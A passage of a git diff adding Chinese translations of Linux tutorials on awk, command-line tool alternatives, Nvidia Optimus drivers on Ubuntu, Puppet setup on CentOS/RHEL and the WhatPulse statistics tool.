newline at end of file diff --git a/published/201410/20140729 How to use awk command in Linux.md b/published/201410/20140729 How to use awk command in Linux.md new file mode 100644 index 0000000000..c4fded9e5c --- /dev/null +++ b/published/201410/20140729 How to use awk command in Linux.md @@ -0,0 +1,121 @@ +如何在Linux中使用awk命令 +================================================================================ +文本处理是Unix的核心。从管道到/proc子系统,“一切都是文件”的理念贯穿于操作系统和所有基于它构造的工具。正因为如此,轻松地处理文本是一个期望成为Linux系统管理员甚至是资深用户的最重要的技能之一,而 awk是通用编程语言之外最强大的文本处理工具之一。 + +最简单的awk的任务是从标准输入中选择字段;如果你对awk除了这个用途之外,从来没了解过它的其他用途,你会发现它还是会是你身边一个非常有用的工具。 + +默认情况下,awk通过空格分隔输入。如果您想选择输入的第一个字段,你只需要告诉awk输出$ 1: + + $ echo 'one two three four' | awk '{print $1}' + +> one + +(是的,大括号语法是有点古怪,但我保证这是我们这节课一直会遇到。) + +你能猜出如何选择第二,第三或第四个字段么?是的,分别用$2,$ 3,$ 4。 + + $ echo 'one two three four' | awk '{print $3}' + +> three + +通常在文本改写时,你需要创建一个特定的数据格式,并且它覆盖不止一个单词。好消息是,awk中可以很容易地打印多个字段,甚至包含静态字符串: + + $ echo 'one two three four' | awk '{print $3,$1}' + +> three one + +---------- + + $ echo 'one two three four' | awk '{print "foo:",$3,"| bar:",$1}' + +> foo: three | bar: one + +好吧,如果你的输入不是由空格分隔怎么办?只需用awk中的'-F'标志指定你的分隔符: + + $ echo 'one mississippi,two mississippi,three mississippi,four mississippi' | awk -F , '{print $4}' + +> four mississippi + +偶尔间,你会发现自己正在处理字段数量不同的数据,但你只知道你想要的*最后*字段。 awk中内置的$NF变量代表*字段的数量*,这样你就可以用它来抓取最后一个元素: + + $ echo 'one two three four' | awk '{print $NF}' + +> four + +你也可以用$NF做简单的数学,假如你需要倒数第二个字段: + + $ echo 'one two three four' | awk '{print $(NF-1)}' + +> three + +甚至是中间的字段: + + $ echo 'one two three four' | awk '{print $((NF/2)+1)}' + +> three + +而且这一切都非常有用,同样你可以摆脱强制使用sed,cut,和grep来得到这些结果(尽管要做更多的操作)。 + +因此,我将最后为你介绍awk的一个特性,维持跨行状态。 + + $ echo -e 'one 1\ntwo 2' | awk '{print $2}' + +> 1 +> +> 2 + + $ echo -e 'one 1\ntwo 2' | awk '{sum+=$2} END {print sum}' + +> 3 + +(END代表的是我们在执行完每行的处理**之后**只处理下面的代码块) + +这里我使用的例子是统计web服务器请求日志的字节大小。想象一下我们有如下这样的日志: + + $ cat requests.log + +> Jul 23 18:57:12 httpd[31950]: "GET /foo/bar HTTP/1.1" 200 344 +> +> Jul 23 18:57:13 httpd[31950]: "GET / HTTP/1.1" 200 9300 +> +> Jul 23 19:01:27 httpd[31950]: "GET / HTTP/1.1" 200 9300 +> +> Jul 23 19:01:55 httpd[31950]: "GET /foo/baz HTTP/1.1" 200 6401 +> +> Jul 23 19:02:31 httpd[31950]: "GET /foo/baz?page=2 HTTP/1.1" 200 6312 + +我们知道最后一个字段是响应的字节大小。我们已经学习了如何使用$NF来抽取他们: + + $ < requests.log awk '{print $NF}' + +> 344 +> +> 9300 +> +> 9300 +> +> 6401 +> +> 6312 + +接着我们可以将它们累加到一个变量中来收集我们的web服务其在日志中这段时间内的响应客户端的字节数量 + + $ < requests.log awk '{totalBytes+=$NF} END {print totalBytes}' + +> 31657 + +如果你正在寻找关于awk的更多资料,你可以在Amazon中花费不到15美元买到[原始awk手册][1]的二手书。你也许还可以看看Eric Pement的[单行awk命令收集][2]这本书。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/07/use-awk-command-linux.html + +作者:[James Pearson][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/james +[1]:http://www.amazon.com/gp/product/020107981X/ref=as_li_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=020107981X&linkCode=as2&tag=xmodulo-20&linkId=6NW62B2WBRBXRFJB +[2]:http://www.pement.org/awk/awk1line.txt \ No newline at end of file diff --git a/published/201410/20140801 What are better alternatives to basic command line utilities.md b/published/201410/20140801 What are better alternatives to basic command line utilities.md new file mode 100644 index 0000000000..eea199a31c --- /dev/null +++ b/published/201410/20140801 What are better alternatives to basic command line utilities.md @@ -0,0 +1,117 @@ +命令行基础工具的更佳替代品 +================================================================================ + +命令行听起来有时候会很吓人,特别是在刚刚接触的时候,你甚至可能做过有关命令行的噩梦。然而渐渐地,我们都会意识到命令行实际上并不是那么吓人,反而是非常有用。实际上,没有命令行正是每次我使用 Windows 时让我感到崩溃的地方。这种感觉上的变化是因为命令行工具实际上是很智能的。 你在任何一个 Linux 终端上所使用的基本工具功能都是很强大的, 但还远说不上是足够强大。 如果你想使你的命令行生涯更加愉悦, 这里有几个程序你可以下载下来替换原来的默认程序, 它还可以给你提供比原始程序更多的功能。 + +### dfc ### + +作为一个 LVM 使用者, 我非常喜欢随时查看我的硬盘存储器的使用情况. 我也从来没法真正理解为什么在 Windows 上我们非得打开资源管理器来查看电脑的基本信息。在 Linux 上, 我们可以使用如下命令: + + $ df -h + +![](https://farm4.staticflickr.com/3858/14768828496_c8a42620a3_z.jpg) + +该命令可显示电脑上每一分卷的大小、 已使用空间、 可用空间、 已使用空间百分比和挂载点。 注意, 我们必须使用 "-h" 选项使得所有数据以可读形式显示(使用 GiB 而不是 KiB)。 但你可以使用 [dfc][1] 来完全替代 df, 它不需要任何额外的选项就可以得到 df 命令所显示的内容, 并且会为每个设备绘制彩色的使用情况图, 因此可读性会更强。 + +![](https://farm6.staticflickr.com/5594/14791468572_a84d4b6145_z.jpg) + +另外, 你可以使用 "-q" 选项将各分卷排序, 使用 "-u" 选项指定你希望使用的单位, 甚至可以使用 "-e" 选项来获得 csv 或者 html 格式的输出. + +### dog ### + +Dog 比 cat 好, 至少这个程序自己是这么宣称的。 你应该相信它一次。 所有 cat 命令能做的事, [dog][2] 都做的更好。 除了仅仅能在控制台上显示一些文本流之外, dog 还可以对其进行过滤。 例如, 你可以使用如下语法来获得网页上的所有图片: + + $ dog --images [URL] + +![](https://farm6.staticflickr.com/5568/14811659823_ea8d22d045_z.jpg) + +或者是所有链接: + + dog --links [URL] + +![](https://farm4.staticflickr.com/3902/14788690051_7472680968_z.jpg) + +另外, dog 命令还可以处理一些其他的小任务, 比如全部转换为大写或小写, 使用不同的编码, 显示行号和处理十六进制文件。 总之, dog 是 cat 的必备替代品。 + +### advcp ### + +一个 Linux 中最基本的命令就是复制命令: cp。 它几乎和 cd 命令地位相同。 然而, 它的输出非常少。 你可以使用 verbose 模式来实时查看正在被复制的文件, 但如果一个文件非常大的话, 你看着屏幕等待却完全不知道后台在干什么。 一个简单的解决方法是加上一个进度条: 这正是 advcp (advanced cp 的缩写) 所做的! advcp 是 [GNU coreutils][4] 的一个 [补丁版本][3], 它提供了 acp 和 amv 命令, 即"高级"的 cp 和 mv 命令. 使用语法如下: + + $ acp -g [file] [copy] + +它把文件复制到另一个位置, 并显示一个进度条。 + +![](https://farm6.staticflickr.com/5588/14605117730_fe611fc234_z.jpg) + +我还建议在 .bashrc 或 .zshrc 中设置如下命令别名: + + alias cp="acp -g" + alias mv="amv -g" + +(译者注: 原文给出的链接已貌似失效, 我写了一个可用的安装脚本放在了我的 [gist](https://gist.github.com/b978fc93b62e75bfad9c) 上, 用的是 AUR 里的 [patch](https://aur.archlinux.org/packages/advcp)。) + +### The Silver Searcher ### + +[the silver searcher][5] 这个名字听起来很不寻常(银搜索...), 它是一款设计用来替代 grep 和 [ack][6] 的工具。 The silver searcher 在文件中搜索你想要的部分, 它比 ack 要快, 而且能够忽略一些文件而不像 grep 那样。(译者注: 原文的意思貌似是 grep 无法忽略一些文件, 但 grep 有类似选项) the silver searcher 还有一些其他的功能,比如彩色输出, 跟随软连接, 使用正则表达式, 甚至是忽略某些模式。 + +![](https://farm4.staticflickr.com/3876/14605308117_f966c77140_z.jpg) + +作者在开发者主页上提供了一些搜索速度的统计数字, 如果它们的确是真的的话, 那是非常可观的。 另外, 你可以把它整合到 Vim 中, 用一个简洁的命令来调用它。 如果要用两个词来概括它, 那就是: 智能、快速。 + +### plowshare ### + +所有命令行的粉丝都喜欢使用 wget 或其他对应的替代品来从互联网上下载东西。 但如果你使用许多文件分享网站, 像 mediafire 或者 rapidshare。 你一定很乐意了解一款专门为这些网站设计的对应的程序, 叫做 [plowshare][7]。 安装成功之后, 你可以使用如下命令来下载文件: + + $ plowdown [URL] + +或者是上传文件: + + $ plowup [website name] [file] + +前提是如果你有那个文件分享网招的账号的话。 + +最后, 你可以获取分享文件夹中的一系列文件的链接: + + $ plowlist [URL] + +或者是文件名、 大小、 哈希值等等: + + $ plowprobe [URL] + +对于那些熟悉这些服务的人来说, plowshare 还是缓慢而令人难以忍受的 jDownloader 的一个很好的替代品。 + +### htop ### + +如果你经常使用 top 命令, 很有可能你会喜欢 [htop][8] 命令。 top 和 htop 命令都能对正在运行的进程提供了实时查看功能, 但 htop 还拥有一系列 top 命令所没有的人性化功能。 比如, 在 htop 中, 你可以水平或垂直滚动进程列表来查看每个进程的完整命令名, 还可以使用鼠标点击和方向键来进行一些基本的进程操作(比如 kill、 (re)nice 等),而不用输入进程标识符。 + +![](https://farm6.staticflickr.com/5581/14819141403_6f2348590f_z.jpg) + +### mtr ### + +系统管理员的一个基本的网络诊断工具traceroute可以用于显示从本地网络到目标网络的网络第三层协议的路由。mtr(即“My Traceroute”的缩写)继承了强大的traceroute功能,并集成了 ping 的功能。当发现了一个完整的路由时,mtr会显示所有的中继节点的 ping 延迟的统计数据,对网络延迟的定位非常有用。虽然也有其它的 traceroute的变体(如:tcptraceroute 或 traceroute-nanog),但是我相信 mtr 是traceroute 工具里面最实用的一个增强工具。 + +![](https://farm4.staticflickr.com/3884/14783092046_b3a90ab462_z.jpg) + + +总的来说, 这些十分有效的基本命令行的替代工具就像那些有用的小珍珠一样, 它们并不是那么容易被发现, 但当一旦你找到一个, 你就会惊讶你是如何忍受这么长没有它的时间! 如果你还知道其他的与上面描述相符的工具, 请在评论中分享给我们。 + + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/07/better-alternatives-basic-command-line-utilities.html + +作者:[Adrien Brochard][a] +译者:[wangjiezhe](https://github.com/wangjiezhe) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/adrien +[1]:http://projects.gw-computing.net/projects/dfc +[2]:http://archive.debian.org/debian/pool/main/d/dog/ +[3]:http://zwicke.org/web/advcopy/ +[4]:http://www.gnu.org/software/coreutils/ +[5]:https://github.com/ggreer/the_silver_searcher +[6]:http://xmodulo.com/2014/01/search-text-files-patterns-efficiently.html +[7]:https://code.google.com/p/plowshare/ +[8]:http://hisham.hm/htop/ diff --git a/published/201410/20140804 How to install and configure Nvidia Optimus driver on Ubuntu.md b/published/201410/20140804 How to install and configure Nvidia Optimus driver on Ubuntu.md new file mode 100644 index 0000000000..79ce3d44f1 --- /dev/null +++ b/published/201410/20140804 How to install and configure Nvidia Optimus driver on Ubuntu.md @@ -0,0 +1,105 @@ +在Ubuntu上安装和配置Nvidia Optimus驱动 +================================================================================ +Nvidia Optimus是一款利用“双显卡切换”技术的混合GPU系统,但长期以来受限于Linux系统上的诸多不便与限制。在数年的等待之后,搭载这全新内核的Ubuntu 14.04最终实现了非常容易安装的专用驱动的兼容性。这篇文章首先为不熟悉Nvidia Optimus的读者简介相关背景,然后展示整个安装过程。对于对Xorg有着丰富配置经验的老手,可以直接跳到安装部分。 + +### 背景知识 ### +对那些不熟悉Nvidia Optimus的读者,在板载Intel图形芯片组和使用被称为“GPU切换”、对需求有着更强大处理能力的NVIDA显卡这两者之间的进行切换是很有必要的。这么做的主要目的是延长笔记本电池的使用寿命,以便在不需要Nvidia GPU的时候将其关闭。带来的好处是显而易见的,比如说你只是想简单地打打字,笔记本电池可以撑8个小时;如果看高清视频,可能就只能撑3个小时了。使用Windows时经常如此。 + +![](https://farm6.staticflickr.com/5581/14612159387_2e89a52085_z.jpg) + +几年前,我买了一台上网本(Asus VX6),犯的最蠢的一个错误就是没有检查Linux驱动兼容性。因为在以前,特别是对于一台上网本大小的设备,这根本不会是问题。即便某些驱动不是现成可用的,我也可以找到其它的办法让它正常工作,比如安装专门模块或者使用反向移植。对我来说这是第一次——我的电脑预先配备了Nvidia ION2图形显卡。 + +在那时候,Nvidia的Optimus混合GPU硬件还是相当新的产品,而我也没有预见到在这台机器上运行Linux会遇到什么限制。如果你读到了这里,恰好对Linux系统有经验,而且也在几年前买过一台笔记本,你可能对这种痛苦感同身受。 + +[Bumblebee][4]项目直到最近因为得到Linux系统对混合图形方面的支持才变得好起来。事实上,如果配置正确的话,通过命令行接口(如“optirun vlc”)让你选定的应用程序能利用Nvidia显卡功能是可行的,但让HDMI一类的功能运转起来就很不同了。(译者注:Bumblebee 项目是把Nvidia的Optimus技术移到Linux上来。) + +我之所以使用“如果配置正确的话”这个短语,是因为实际上为了让它发挥出性能来往往不只是通过几次尝试去改变Xorg的配置就能做到的。如果你以前没有使用过ppa-purge或者运行过“dpkg-reconfigure -phigh xserver-xorg”这类命令,那么我可以向你保证修补Bumblebee的过程会让你受益匪浅。 + +[![](https://farm6.staticflickr.com/5588/14798680495_947c38b043_o.png)][2] + +在等待了很长一段时间后,Nvidia才发布了支持Optimus的Linux驱动,但我们仍然没有得到对双显卡切换的真正支持。然而,现在有了Ubuntu 14.04、nvidia-prime和nvidia-331驱动,任何人都可以在Intel芯片和Nvidia显卡之间轻松切换。不过不幸的是,为了使切换生效,还是会受限于需要重启X11视窗系统(通过注销登录实现)。 + +为了减轻这种不便,有一个小型程序用于快速切换,稍后我会给出。这个驱动程序的安装就此成为一件轻而易举的事了,HDMI也可以正常工作,这足以让我心满意足了。 + +### 安装Nvidia Optimus驱动 ### + +为了更快地描述这个过程,我假设你已经安装好Ubuntu 14.04或者Mint 17。 + +作为一名系统管理员,最近我发现90%的Linux操作通过命令行执行起来更快,但这次我推荐使用“Additional Drivers”这个应用程序,你可能使用它安装过网卡或声卡驱动。 + +![](https://farm4.staticflickr.com/3886/14795564221_753f9e2d99_z.jpg) + +**注意:下面的所有命令都是在~#提示符下执行的,需要root权限执行。在运行命令前,要么使用“sudo su”(切换到root权限),要么在每条命令的开头使用sudo运行。** + +你也可以在命令行输入如下命令进行安装: + + ~# apt-get install nvidia-331 nvidia-settings nvidia-prime + +接下来是重启。确保你没有安装类似于Bumblebee或其他已加载的Nvidia驱动,否则很可能会破坏你的X11。万一你没有进行全新安装,之前有安装过Bumblebee程序,那么在安装nvidia-331和nvidia-prime前运行下列命令: + + ~# apt-get purge libvdpau-va-gl1 bumblebee* nvidia* + +### 在Nvidia和非Nvidia显卡之间切换 ### + +你可以通过按下Alt+F2或者从命令行键入下列命令实现Nvidia和非Nvidia(如Intel)显卡之间的切换: + + ~$ nvidia-settings + +**注意:~$表示不以root用户身份执行。** + +![](https://farm4.staticflickr.com/3921/14796320814_de5c9882c2_z.jpg) + +你也可以使用命令行设置默认使用哪一块显卡: + + ~# prime-select intel (或 nvidia) + +使用这个命令进行切换: + + ~# prime-switch intel (或 nvidia) + +两个命令的生效都需要重启X11,可以通过注销和重新登录实现。当然重启电脑也行。 + +对Ubuntu用户键入命令: + + ~# service lightdm restart + +对Mint用户键入命令: + + ~# service mdm restart + +键入这个命令确认哪一块显卡在运行: + + ~# prime-select query + +最后,你可以通过添加ppa:nilarimogard/webupd8来安装叫做prime-indicator的程序包,实现通过工具栏快速切换来重启Xserver会话。要安装它,只需要运行: + + ~# add-apt-repository ppa:nilarimogard/webupd8 + ~# apt-get update + ~# apt-get install mesa-utils prime-indicator + +### 总结 ### + +总而言之,这个方法仍不完美,但至少它能简单易用地提供合适的专门驱动支持。很多人不会使用这个安装方法来设置Bumblebee,因为他们发现使用Nvidia驱动会很快耗完电池。对我个人的使用来说,这是一个更好的方法,因为我使用Nvidia只为了满足HDMI输出,这表示我必须把电脑插上电源才行。不然的话,Intel的显卡对我的笔记本来说够用了,因为除了频繁地使用Libreoffice、Chromium和Terminator这几个软件我别无所求。 + +如果你宁愿选择在默认情况下使用Intel显卡,为运行特定的应用程序使用Nvidia显卡,你应该去阅读那些Bumblebee教程。一旦你得以让Bumblebee正常工作起来,我建议你记录下用来配置电脑的命令和过程。因为没有什么比9个月之后再来一次全新安装但忘记了上次是如何成功安装更糟糕的事情了。 + +也可以花时间查看一下这个我偶然发现的[脚本][3],用来方便地在Bumblebee和Nvidia-Prime之间进行切换,但我必须强调并没有亲自对此进行实验。 + +最后,我感到非常惭愧,写了这么多才得以为Linux上的显卡提供了专门支持,但仍然不能实现双显卡切换,因为混合图形技术似乎是便携式设备的未来。一般情况下,AMD会发布Linux平台上的驱动支持,但我认为Optimus是目前为止我遇到过的最糟糕的硬件支持问题。 + +不管这篇教程对你的使用是否完美,但这确实是利用这块Nvidia显卡最容易的方法。你可以试着在Intel显卡上只运行最新的Unity,然后考虑2到3个小时的电池寿命是否值得权衡。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/08/install-configure-nvidia-optimus-driver-ubuntu.html + +作者:[Christopher Ward][a] +译者:[KayGuoWhu](https://github.com/KayGuoWhu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/christopher +[1]:http://bumblebee-project.org/ +[2]:http://xkcd.com/963 +[3]:https://devtalk.nvidia.com/default/topic/705993/easy-switch-between-bumblebee-and-nvidia-prime/ \ No newline at end of file diff --git a/published/201410/20140808 How to install Puppet server and client on CentOS and RHEL.md b/published/201410/20140808 How to install Puppet server and client on CentOS and RHEL.md new file mode 100644 index 0000000000..ded986fab8 --- /dev/null +++ b/published/201410/20140808 How to install Puppet server and client on CentOS and RHEL.md @@ -0,0 +1,197 @@ +在 CentOS 和 RHEL 上安装 Puppet 服务器和客户端 +================================================================================ +当手中有相当多的机器需要管理的时候,自动化处理冗余又无聊的任务对系统管理员来说就很重要了。很多管理员习惯了自己写脚本模拟复杂软件之间的调度。不幸的是,脚本会过时,脚本的作者会离职,如果不花费巨大精力来维护这些脚本的话,它们早晚会一点儿用也没有。如果能有一个系统,任何人都可以使用、安装工具,不论其受雇于何人,那真是太期待了。目前已有几种系统可以解决这类需求,这篇教程将介绍其中之一——Puppet——的使用方法。 + +### Puppet 是什么? ### + +Puppet 是一款为 IT 系统管理员和顾问们设计的自动化软件,你可以用它自动化地完成诸如安装应用程序和服务、补丁管理和部署等工作。所有资源的相关配置都以“manifests”的方式保存,单台机器或者多台机器都可以使用。如果你想了解更多内容,Puppet 实验室的网站上有关于 [Puppet 及其工作原理][1]的更详细的介绍。 + +### 本教程要做些什么? ### + +在这篇教程里,我们将一起安装配置一个 Puppet 服务器,然后在我们的客户端服务器(译注:这里的“客户端服务器”指需要部署业务逻辑的服务器)上完成一些基本配置。 + +### 准备工作 ### + +由于 Puppet 不是 CentOS 或 RHEL 发行版的基本仓库,所以我们得手动添加 Puppet 实验室提供的自定义仓库。在所有你想使用 Puppet 的地方执行以下命令安装这个仓库(版本不同,对应的 RPM 文件名可能略有不同)。 + +**对于 CentOS/RHEL 6.5:** + + # rpm -ivh https://yum.puppetlabs.com/el/6.5/products/x86_64/puppetlabs-release-6-10.noarch.rpm + +**对于 CentOS/RHEL 7:** + + # rpm -ivh https://yum.puppetlabs.com/el/7/products/x86_64/puppetlabs-release-7-10.noarch.rpm + +### 安装服务器端 ### + +在你打算用作 master 的服务器上安装 "puppet-server" 包。 + + # yum install puppet-server + +安装完成后,设置 Puppet 服务器开机自动启动,然后启动它。 + + # chkconfig puppetmaster on + # service puppetmaster start + +现在服务器已经运行起来了,我们试试看我们的网络能不能访问到它。 + +对于使用 iptables 当做防火墙的 CentOS/RHEL 6,在 `/etc/sysconfig/iptables` 文件的 `OUTPUT ACCEPT` 小节里添加下面这一行。 + +> -A INPUT -m state --state NEW -m tcp -p tcp --dport 8140 -j ACCEPT + +重新启动 iptables 服务让刚才的修改生效。 + + # service iptables restart + +在安装了防火墙的 CentOS/RHEL 7 上,我们这么做: + + # firewall-cmd --permanent --zone=public --add-port=8140/tcp + # firewall-cmd --reload + +### 安装客户端 ### + +执行下面的命令,在客户端节点安装 Puppet 客户端。 + + # yum install puppet + +安装完成后,确保 Puppet 会随开机自动启动。 + + # chkconfig puppet on + +Puppet 客户端需要知道 Puppet master 服务器的地址。最佳方案是使用 DNS 服务器解析 Puppet master 服务器地址。如果你没有 DNS 服务器,在 `/etc/hosts` 里添加类似下面这几行也可以: + +> 1.2.3.4 server.your.domain + +> 2.3.4.5 client-node.your.domain + +1.2.3.4 对应你的 Puppet master 服务器 IP 地址,“server.your.domain”是你的 master 服务器域名(默认通常是服务器的 hostname),“client-node.your.domain”是你的客户端节点。包括 Puppet master 和客户端,所有相关的服务器都要在 hosts 文件里配置。 + +完成这些设置之后,我们要让 Puppet 客户端知道它的 master 是谁。默认情况下,Puppet 会查找名为“puppet”的服务器,但通常这并不符合你网络环境的真实情况,所以我们要改成 Pupper master 服务器的完整域名。打开文件 `/etc/sysconfig/puppet`,把 `PUPPET_SERVER` 变量的值改成你在 `/etc/hosts` 文件里指定的 Puppet master 服务器的域名。 + +> PUPPET_SERVER=server.your.domain + +master 服务器名也要在 `/etc/puppet/puppet.conf` 文件的“[agent]”小节里事先定义好。 + +> server=server.your.domain + +现在可以启动 Puppet 客户端了: + + # service puppet start + +强制我们的客户端在 Puppet master 服务器上登记: + + # puppet agent --test + +你会看到类似于下面的输出。别怕,这是正常现象,因为服务器还没有在 Puppet master 服务器上验证过。 + +> Exiting; no certificate found and waitforcert is disabled + +返回 Puppet master 服务器,检查证书验证请求: + + # puppet cert list + +你应该能看到一个列出了所有向 Puppet master 服务器发起证书签名请求的服务器。找到你客户端服务器的 hostname 然后使用下面的命令签名(client-node 是你客户端节点的域名): + + # puppet cert sign client-node + +到此为止 Puppet 客户端和服务器都正常工作了。恭喜你!但是,现在 Puppet master 没有任何要客户端做的事儿。好吧,我们来创建一些基本的 manifest 文件然后让我们的客户端节点安装一些基本工具。 + +回到你的 Puppet 服务器,确保目录 `/etc/puppet/manifests` 存在。 + + # mkdir -p /etc/puppet/manifests + +创建 manifest 文件 `/etc/puppet/manifests/site.pp`,内容如下 + + node 'client-node' { + include custom_utils + } + + class custom_utils { + package { ["nmap","telnet","vim-enhanced","traceroute"]: + ensure => latest, + allow_virtual => false, + } + } + +然后重新启动 puppetmaster 服务。 + + # service puppetmaster restart + +客户端默认每 30 分钟更新一次配置,如果你希望你的修改能强制生效,就在客户端执行如下命令: + + # puppet agent -t + +如果你需要修改客户端的默认刷新时间,编辑客户端节点的 `/etc/puppet/puppet.conf` 文件中“[agent]”小节,增加下面这一行: + +> runinterval = + +这个选项的值可以是秒(格式比如 30 或者 30s),分钟(30m),小时(6h),天(2d)以及年(5y)。值得注意的是,**0 意味着“立即执行”而不是“从不执行”**。 + +### 提示和技巧 ### + +#### 1. 调试 #### + +你免不了会提交错误的配置,然后不得不通过调试判断问题出现在哪儿。一般来说,你要么通过查看日志文件 `/var/log/puppet` 着手解决问题,要么手动执行查看输出: + + # puppet agent -t + +使用“-t”选项,你可以看到 Puppet 的详细输出。这条命令还有额外的选项可以帮你定位问题。首先要介绍的选项是: + + # puppet agent -t --debug + +debug 选项会显示 Puppet 本次运行时的差不多每一个步骤,这在调试非常复杂的问题时很有用。另一个很有用的选项是: + + # puppet agent -t --noop + +这个选项让 puppet 工作在 dry-run(译注:空转模式,不会对真实环境产生影响)模式下,不会应用任何修改。Puppet 只会把其工作内容输出到屏幕上,不会写到磁盘里去。 + +#### 2. 模块 #### + +有时候你需要更复杂的 manifest 文件,在你着手编写它们之前,你有必要花点儿时间浏览一下 [https://forge.puppetlabs.com][2]。Forge 是一个集合了 Puppet 模块的社区,你的问题很可能已经有人解答过了,你能在那儿找到解决问题的模块。如果找不到,那就自己写一个然后提交上去,其他人也能从中获益。 + +现在,假设你已经找到了一个模块能解决你的问题。怎么把它安装到你的系统中去呢?非常简单,因为 Puppet 已经有了可以直接下载模块的用户界面,只需要执行下面的命令: + + # puppet module install --version 0.0.0 + + 是你选择的模块的名字,版本号可选(如果没有指定版本号,默认使用最新的版本)。如果你不记得想安装的模块的名字了,试试下面的命令搜索模块: + + # puppet module search + +你会得到一个包含 search_string 的列表。 + + # puppet module search apache + +---------- + + Notice: Searching https://forgeapi.puppetlabs.com ... + NAME DESCRIPTION AUTHOR KEYWORDS + example42-apache Puppet module for apache @example42 example42, apache + puppetlabs-apache Puppet module for Apache @puppetlabs apache web httpd centos rhel ssl wsgi proxy + theforeman-apache Apache HTTP server configuration @theforeman foreman apache httpd DEPRECATED + +如果你想查看已经安装了哪些模块,键入: + + # puppet module list + +### 总结 ### + +到目前为止,你应该有了功能完整的可以向一个或多个客户端服务器推送基本配置的 Puppet master 服务器。你可以自己随便加点儿配置适配你自己的网络环境。不必为试用 Puppet 担心,你会发现,它会拯救你的生活。 + +Puppet 实验室正在试着维护一个质量上乘的项目文档,所以如果你想学点儿关于 Puppet 相关的配置,我强烈推荐你访问 Puppet 项目的主页 [http://docs.puppetlabs.com][3]。 + +如果你有任何问题,敬请在文章下方评论,我会尽我所能回答你并给你建议。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/08/install-puppet-server-client-centos-rhel.html + +作者:[Jaroslav Štěpánek][a] +译者:[sailing](https://github.com/sailing) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/jaroslav +[1]:https://puppetlabs.com/puppet/what-is-puppet/ +[2]:https://forge.puppetlabs.com/ +[3]:http://docs.puppetlabs.com/ diff --git a/published/201410/20140811 Check how much do you type with WhatPulse on Linux.md b/published/201410/20140811 Check how much do you type with WhatPulse on Linux.md new file mode 100644 index 0000000000..853c195b23 --- /dev/null +++ b/published/201410/20140811 Check how much do you type with WhatPulse on Linux.md @@ -0,0 +1,77 @@ +Linux输入统计神器——WhatPulse +================================================================================ +![](http://cdn.linuxaria.com/wp-content/uploads/2014/08/whatpulse.png) + +如果,你像我这样,是个对统计数据有着狂热癖好的人,那么你必须在你的计算机上安装这个小应用:[WhatPulse][1] + +此软件会追踪用户的击键、鼠标点击以及使用的[带宽][2]和系统开机时间。用户可以周期性地,或者手动上传击键的数量到服务器上,这称之为“脉动”。 + +用户可以看到他们在所有加入该程序的人的领先选手排行板的所处位置,并且与他们自己国家的人作比较。用户也可以加入团队,在团队中他们可以和有着相同爱好的人作对比(去吧,Linux用户们!!)。 + +软件分为免费的基础版和高级版,在基础版中你可以查看并检查所有的基本统计数据,而在高级版中你可以看到更多。 + +该软件可用于Linux,Windows和Mac。 + +### 在线注册 ### + +第一步,你必须在[WhatPulse网站][1]注册帐号,或者也可以在你第一次启动WhatPulse客户端时出现的实用向导中创建帐号,以用于上传自己的统计数据(你也可以使用Facebook的帐号登录)。 + +你会被提示需要登录,登录之后,你必须找到你的计算机名,这是因为你可以通过该帐号登录到多台计算机,而它们的数据都会上传到同一统计帐号。一旦你登入后,一个小小的W将出现在你的系统托盘中,那就对了,你已搞定! + +### 在Linux上安装WhatPulse ### + +官方网站在[下载页][3]提供了一个通用版本的.tar.gz归档压缩包(用于32位和64位)和一个debian包。 + +就我个人而言,我已经在我的Mint Qiana上安装了debian包,在我的Arch Linux[Aur包][4]一点问题都没有。 + +如果你想要使用通用版本安装,请记住:WhatPulse需要几个库文件。最主要的是QT,因为WhatPulse构建于QT平台。下面列出了软件安装需求: + +- libQtCore +- libQtWebKit +- libqt4-sql +- libqt4-sql-sqlite +- openssl-devel (libssl-dev) +- libQtScript + +#### 输入统计数据 #### + +客户端需要设置相应的权限,以读取键盘/鼠标输入。运行包含的交互脚本.sh来设置这些权限。 + +#### [网络][5]统计数据 #### + +要启用网络测量,你也需要**libpcap**包来允许WhatPulse挂钩到网络通信。如果WhatPulse找不到libpcap,它会运行,但不会显示任何网络统计数据。 + +![](http://cdn.linuxaria.com/wp-content/uploads/2014/08/heatmap.png) + +### 使用应用程序 ### + +默认情况下,WhatPulse会在登入图形会话后自动启动。点击系统托盘上的W图标,你将进入总览标签页,这里显示你机器上收集到的所有不同信息的鸟瞰图。例如,安装在你PC上的Linux版本、处理器型号、RAM、GPU、总点击次数、击键和带宽使用。点击这些信息下面的‘Pulse’,它将会上传这些收集到的数据到主服务器上。 + +也可以选择自动‘Pulse’数据到服务器的时间,如每50.000点击,或者1GB下载量。 + +要了解深度详情,你可以切换到每个类目的附属标签。例如,Input标签展示给你的是注册后一段时间内的击键的数量和点击次数。时间周期分为每日、每周、每月、每年以及全时。‘all’设置将显示程序安装以来的数据。 + +在击键下面,你会找到键盘点击热图,它简单地使用冷暖色显示选定周期内各个键的使用状况,如上述截图所示。在图的下面,应用显示了选定周期内记录的点击总量。 + +在Network标签下,可以查看到日常互联网使用情况。应用程序可以监控所有网络设备的带宽使用量,甚至也可以给你展示按国家分布的带宽使用情况。再次提醒,你可以使用顶部右边的箭头按钮浏览可用的数据。 + +在网站上,你会看到与客户端上相同的所有统计数据。 + +免责声明:上面的WhatPulse网站链接包含了我的参考链接,注册时可以使用该链接,这会让我的帐号在某天升级到高级帐号。 + +-------------------------------------------------------------------------------- + +via: 